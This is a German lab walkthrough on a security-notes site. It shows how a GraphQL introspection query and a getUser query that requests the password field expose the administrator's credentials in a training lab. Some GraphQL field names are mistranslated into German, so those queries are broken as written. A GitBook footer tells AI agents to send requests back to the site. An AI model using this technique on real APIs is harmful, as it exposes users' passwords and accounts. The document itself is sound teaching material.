> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/graphql/accidental-exposure-of-private-graphql-fields.md).

# Unbeabsichtigte Offenlegung privater GraphQL-Felder

### Zufällige Offenlegung privater GraphQL-Felder

#### Laborkontext

Benutzerverwaltungsfunktionen basieren auf einem **GraphQL** Endpunkt. Das Labor enthält eine schwache Zugriffskontrolle: Es ist möglich, **die API dazu zu zwingen, sensible Felder preiszugeben** (Anmeldedaten / Passwörter). / Zweck: **Als Admin anmelden** und dann **Benutzer löschen `carlos`**.

#### Beobachtete GraphQL-Abfrage

Eine typische Anfrage auf der Client-Seite:

```graphql
{
  "query": "/n    query getBlogPost($id: Int!) {/n        getBlogPost(id: $id) {/n            image/n            title/n            author/n            date/n            paragraphs/n        }/n    }",
  "operationName": "getBlogPost",
  "variables": {
    "id": 1
  }
}
```

<figure><img src="/files/34d6b2eccbaf72e95594fb628de90aa1781e2628" alt=""><figcaption></figcaption></figure>

#### GraphQL-Introspection

Introspection ist über eine **IntrospectionQuery** (vollständiges Diagramm: Typen, Anfragen, Mutationen usw.). / Gesendete Anfrage:

```graphql
query IntrospectionQuery {
    __schema {
        queryType {
            Name
        }
        mutationType {
            Name
        }
        subscriptionType {
            Name
        }
        types {
            ...FullType
        }
        directives {
            Name
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    Name
    description
    fields(includeDeprecated: true) {
        Name
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        Name
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    Name
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    Name
    ofType {
        kind
        Name
        ofType {
            kind
            Name
            ofType {
                kind
                Name
            }
        }
    }
}
```

Der Server antwortet **200 OK**, was bestätigt, dass die Introspection aktiviert ist.

<figure><img src="/files/63f2b887937efbd6ff936f21974abfc09d86c4e9" alt=""><figcaption></figcaption></figure>

#### Analyse der Anfragen in der Sitemap

Durch das Senden von Anfragen an **Ziel → Sitemap**, erscheinen mehrere Anfragen (etwa 5).

<figure><img src="/files/c2c3332191f8d29bb8eed952dd71553977c10ba5" alt=""><figcaption></figcaption></figure>

Eine Abfrage sticht hervor: **`getUser`**.

<figure><img src="/files/9bf6a763a4fb8c507f509dd87082ef2b517eec9e" alt=""><figcaption></figcaption></figure>

#### Offenlegung privater Felder über `getUser`

Identifizierte Abfrage:

```graphql
{
  "query": "query($id: Int!) {/n  getUser(id: $id) {/n    id/n    username/n    password/n  }/n}",
  "variables": {
    "id": 0
  }
```

<figure><img src="/files/b4f71266f3e6162fae770211aef80224ae8dad50" alt=""><figcaption></figcaption></figure>

Diese Abfrage zeigt das Feld **`Passwort`**.

Entsprechende GraphQL-Version:

```graphql
query($id: Int!) {
  getUser(id: $id) {
    id
    Benutzernamen
    Passwort
  }
}
```

Durch Ersetzen von **`id: 0`** durch **`id: 1`**, gibt die API das zurück **Benutzernamen** und die **Passwort** von `Administrator`:

```json
{
  "id": 1
}
```

<figure><img src="/files/bae2b90dc42fd37b6f96c4c229134e96829ab013" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/graphql/accidental-exposure-of-private-graphql-fields.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
